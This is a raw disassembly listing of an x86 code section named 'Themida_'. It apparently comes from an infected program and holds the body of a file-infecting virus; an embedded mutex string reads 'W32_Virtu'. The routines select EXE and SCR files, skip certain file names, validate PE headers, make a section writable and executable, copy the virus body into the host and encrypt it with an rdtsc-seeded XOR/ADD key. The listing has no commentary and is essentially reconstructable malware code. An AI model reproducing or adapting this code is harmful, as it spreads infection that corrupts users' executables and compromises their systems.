		cmp	al, 0
		jnz	short loc_60FF10
		jecxz	short locret_60FEF3
		mov	eax, [ecx]
		cmp	eax, 455845h
		jz	short loc_60FF3E
		cmp	eax, 524353h
		jnz	locret_60FE71


loc_60FF3E:				; CODE XREF: Themida_:0060FF31j
		mov	eax, [ebx]
		cmp	eax, 434E4957h
		jz	locret_60FE71
		cmp	eax, 4E554357h
		jz	locret_60FE71
		cmp	eax, 32334357h
		jz	locret_60FE71
		cmp	eax, 4F545350h
		jz	locret_60FE71
		xor	ebx, ebx
		call	sub_60FDA0
		jz	locret_60FE71
		xor	edx, edx
		call	sub_60FF96
		call	sub_60FEF4
		call	$+5
		pop	ebp
		sub	ebp, 402F8Ah
		jmp	loc_6102D3

; =============== S U B	R O U T	I N E =======================================



sub_60FF96	proc near		; CODE XREF: Themida_:0060FF7Bp

var_14		= dword	ptr -14h

		push	dword ptr fs:[edx]
		mov	esi, [ebp+403972h]
		mov	fs:[edx], esp
		cmp	word ptr [esi],	5A4Dh
		jnz	loc_6102D3
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		cmp	word ptr [ebx],	4550h
		jnz	loc_6102D3
		test	dword ptr [ebx+16h], 2000h
		jnz	loc_6102D3
		test	byte ptr [ebx+5Ch], 2
		mov	ecx, [esi+20h]
		jz	loc_6102D3
		jecxz	short loc_60FFE5
		cmp	ecx, 101h
		jbe	loc_6102D3


loc_60FFE5:				; CODE XREF: sub_60FF96+41j
		call	sub_60FEB7
		jb	loc_6102D3
		mov	ecx, [edx+10h]
		add	ecx, [edx+0Ch]
		mov	eax, 10000h
		push	ecx
		call	sub_60EAEF
		xor	ss:byte_40342F[ebp], dl
		mov	cl, 20h
		xor	ss:byte_403430[ebp], dh


loc_61000F:				; CODE XREF: sub_60FF96+92j
		push	20h
		dec	cl
		pop	eax
		js	short loc_61002A
		call	sub_60EAEF
		test	edx, edx
		setz	dl
		shl	edx, cl
		xor	ss:dword_403431[ebp], edx
		jmp	short loc_61000F
; ---------------------------------------------------------------------------


loc_61002A:				; CODE XREF: sub_60FF96+7Ej
					; sub_60FF96+CDj ...
		push	6
		pop	ecx


loc_610030:				; CODE XREF: sub_60FF96+B8j
		push	6
		pop	eax
		call	sub_60EAEF
		mov	al, ss:byte_403429[ebp]
		xchg	al, byte_403429[edx+ebp]
		mov	ss:byte_403429[ebp], al
		loop	loc_610030
		test	ss:dword_403431[ebp], 8
		jnz	short loc_610065
		cmp	ss:byte_40342B[ebp], 1
		jz	short loc_61002A


loc_610065:				; CODE XREF: sub_60FF96+C4j
		test	ss:dword_403431[ebp], 1000003h
		jz	short loc_61008C
		cmp	ss:byte_403429[ebp], 5
		jz	short loc_61002A
		cmp	ss:byte_40342A[ebp], 5
		jz	short loc_61002A
		cmp	ss:byte_40342B[ebp], 5
		jz	short loc_61002A


loc_61008C:				; CODE XREF: sub_60FF96+D9j
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_6100A1
		cmp	ss:byte_403429[ebp], 2
		ja	short loc_61002A


loc_6100A1:				; CODE XREF: sub_60FF96+100j
		and	dword ptr [ebp+4039AEh], 0
		call	loc_60F53C
		call	sub_60FE72
		call	sub_6102DC
		mov	ebx, [ebp+403976h]
		call	sub_60FDA0
		jz	loc_6102D3
		mov	esi, [ebp+403972h]
		mov	ebx, [esi+3Ch]
		add	ebx, esi
		call	sub_60FEB7
		jb	loc_6102D3
		or	dword ptr [edx+24h], 0E0000060h
		mov	edi, esi
		push	edx
		push	esi
		add	edi, [edx+14h]
		add	edi, [edx+10h]
		test	ss:dword_403431[ebp], 10000000h
		jnz	short loc_610109
		lea	esi, dword_40343C[ebp]
		mov	ecx, [ebp+40106Dh]
		rep movsb


loc_610109:				; CODE XREF: sub_60FF96+163j
		push	edi
		mov	ecx, 90Fh
		lea	esi, byte_401000[ebp]
		rep movsd
		mov	cl, 0
		jecxz	short loc_61011D
		rep movsb


loc_61011D:				; CODE XREF: sub_60FF96+183j
		test	ss:dword_403431[ebp], 10000000h
		jz	loc_6101D5
		push	dword ptr [ebx+28h]
		call	sub_60F2A4
		mov	edx, [ebp+4039A6h]
		test	edx, edx
		jz	loc_6101D5
		mov	esi, [ebp+403972h]
		mov	ecx, [edx+10h]
		or	dword ptr [edx+24h], 0E0000060h
		sub	ecx, [edx+8]
		jnb	short loc_61015A
		xor	ecx, ecx


loc_61015A:				; CODE XREF: sub_60FF96+1C0j
		add	esi, [edx+14h]
		cmp	ecx, [ebp+40106Dh]
		mov	ecx, [ebp+40106Dh]
		jb	short loc_6101C1
		mov	edi, [esp+14h+var_14]
		and	dword ptr [ebp+40106Dh], 0
		and	dword ptr [edi+6Dh], 0
		mov	edi, [edx+8]
		add	[edx+8], ecx
		add	esi, edi
		xchg	esi, edi
		mov	eax, [ebp+403986h]
		test	ss:dword_403431[ebp], 40h
		jz	short loc_61019A
		neg	dword ptr [eax]


loc_61019A:				; CODE XREF: sub_60FF96+200j
		add	esi, [edx+0Ch]
		sub	[eax], esi
		mov	[ebp+4039AEh], esi
		mov	esi, [ebx+28h]
		add	[eax], esi
		test	ss:dword_403431[ebp], 40h
		jz	short loc_6101B8
		neg	dword ptr [eax]


loc_6101B8:				; CODE XREF: sub_60FF96+21Ej
		push	ecx
		call	sub_60FE72
		pop	ecx
		jmp	short loc_6101CD
; ---------------------------------------------------------------------------


loc_6101C1:				; CODE XREF: sub_60FF96+1D3j
		add	esi, [ebx+28h]
		sub	esi, [edx+0Ch]
		push	ecx
		push	esi
		rep movsb
		pop	edi
		pop	ecx


loc_6101CD:				; CODE XREF: sub_60FF96+229j
		lea	esi, dword_40343C[ebp]
		rep movsb


loc_6101D5:				; CODE XREF: sub_60FF96+191j
					; sub_60FF96+1A7j
		pop	edi
		pop	esi
		rdtsc
		xchg	eax, edx
		lea	eax, [edi+1D2h]
		cmp	dl, ss:byte_40342F[ebp]
		jnz	short loc_6101EE
		imul	edx, 12345678h


loc_6101EE:				; CODE XREF: sub_60FF96+250j
		mov	[eax-1], dl
		call	sub_60E1C2
		pop	edx
		mov	ecx, [edx+0Ch]
		add	ecx, [edx+10h]
		test	ss:dword_403431[ebp], 10000000h
		lea	eax, [ecx+6]
		jnz	short loc_61021F
		mov	[ebp+4039AEh], ecx
		add	eax, [ebp+40106Dh]
		and	dword ptr [edi+6Dh], 0


loc_61021F:				; CODE XREF: sub_60FF96+274j
		sub	eax, [ebx+28h]
		push	dword ptr [ebp+40397Eh]
		mov	[edi+52h], eax
		pop	dword ptr [esi+20h]
		test	ss:dword_403431[ebp], 80000000h
		jz	short loc_610244
		push	edx
		call	sub_60FB6A
		pop	edx


loc_610244:				; CODE XREF: sub_60FF96+2A5j
		mov	ecx, [ebp+4039AEh]
		jecxz	short loc_61024F
		mov	[ebx+28h], ecx


loc_61024F:				; CODE XREF: sub_60FF96+2B4j
		mov	ecx, [edx+10h]
		mov	eax, [ebp+403976h]
		cmp	[edx+8], ecx
		jnb	short loc_610260
		mov	[edx+8], ecx


loc_610260:				; CODE XREF: sub_60FF96+2C5j
		add	[edx+10h], eax
		and	dword ptr [ebx+58h], 0
		mov	eax, dword ptr ss:loc_40397A[ebp]
		push	243Ch
		add	[edx+8], eax
		pop	ecx
		add	[ebx+50h], eax
		mov	dl, ss:byte_40342F[ebp]
		test	ss:dword_403431[ebp], 10000000h
		jz	short loc_610291
		add	ecx, [ebp+40106Dh]


loc_610291:				; CODE XREF: sub_60FF96+2F3j
		mov	dh, 0
		test	ss:dword_403431[ebp], 20000h
		jnz	short loc_6102B3
		inc	dh
		test	ss:dword_403431[ebp], 40000h
		jnz	short loc_6102B3
		mov	dh, ss:byte_403430[ebp]


loc_6102B3:				; CODE XREF: sub_60FF96+307j
					; sub_60FF96+315j
		test	ss:dword_403431[ebp], 4000h
		jnz	short loc_6102CA


loc_6102BF:				; CODE XREF: sub_60FF96+330j
		mov	al, [edi]
		add	al, dl
		stosb
		add	dl, dh
		loop	loc_6102BF
		jmp	short loc_6102D3
; ---------------------------------------------------------------------------


loc_6102CA:				; CODE XREF: sub_60FF96+327j
					; sub_60FF96+33Bj
		mov	al, [edi]
		xor	al, dl
		stosb
		add	dl, dh
		loop	loc_6102CA


loc_6102D3:				; CODE XREF: Themida_:0060FF91j
					; sub_60FF96+11j ...
		xor	edx, edx
		mov	esp, fs:[edx]
		pop	dword ptr fs:[edx]
		pop	eax
sub_60FF96	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6102DC	proc near		; CODE XREF: sub_60FF96+11Cp
		cmp	dword ptr [ebp+403956h], 0
		jz	locret_60FE71
		push	dword ptr [ebp+403972h]
		call	dword ptr [ebp+4035C4h]


loc_6102F5:				; CODE XREF: sub_60FDA0+C5j
		push	dword ptr [ebp+40396Eh]
		call	dword ptr [ebp+40353Ch]
		lea	ecx, loc_40395A[ebp]
		lea	edx, [ebp+403962h]
		push	ecx
		push	edx
		push	0
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+4035B8h]


loc_61031D:				; CODE XREF: sub_60FDA0+6Bj
					; sub_60FDA0+82j ...
		push	dword ptr [ebp+403956h]
		call	dword ptr [ebp+40353Ch]


loc_610329:				; CODE XREF: sub_60FDA0+45j
		lea	esi, [ebp+40384Eh]
		push	dword ptr [ebp+403952h]
		push	esi
		call	dword ptr [ebp+4035B4h]
		and	dword ptr [ebp+403956h], 0
		retn
sub_6102DC	endp

; ---------------------------------------------------------------------------
		dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h
		dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h
		dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h
		dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h
		dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h,	8B004038h
		dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h
		dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch,	0C6830375h
		dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h
		dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h
		dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h
		dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh
		dd 2030100h, 51070506h,	0A5555296h, 9415FF39h, 90010011h
		dd 27E890h, 0B9530000h,	0CBFh, 3166DA8Bh, 13148D10h, 408DD686h
		dd 5BF3E202h, 0BFC35DC3h, 0C3310FE8h, 1000B8h, 0EBC93300h
		dd 75C08525h, 852CCD08h, 0EBED79C0h, 0CA8C660Eh, 780AE3C1h
		dd 38E173E3h, 0E8DD74FEh, 0FFFFFFD5h, 0FFCFE891h, 0D9F7FFFFh
		dd 8BC10355h, 8104246Ch, 0F204246Ch, 2D000F8Fh,	100h, 0ED81B373h
		dd 301006h, 1082858Dh, 8B660030h, 0FFFF9D90h, 0FF84E8FFh
		dd 0E854FFFFh, 9843225Ah, 0C80FC5F8h, 5ED031DFh, 0F30438F3h
		dd 2FED9C78h, 7, 19h dup(0)
		dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0)
		dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch
		dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch
		dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh
		dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h
		dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h
		dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h
		dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h
		dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h
		dd 7C9130C6h, 15h dup(0)
		dd 380036h, 610658h, 42005Ch, 730061h, 4E0065h,	6D0061h
		dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h,	330057h
		dd 5F0032h, 690056h, 740072h, 75h, 0BBh	dup(0)
		dd 790000h, 0Ch	dup(0)
		dd 50000000h, 7FFDh, 8DAh dup(0)
dword_612D20	dd 0FCBh dup(0)			db 2 dup(0)
word_616C4E	dw 0			; DATA XREF: ___:off_444324o
		dd 8ECh	dup(0)
Themida_	ends

; Section 5. (virtual address 00219000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00219000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 619000h
		align 2000h
_idata2		ends


		end start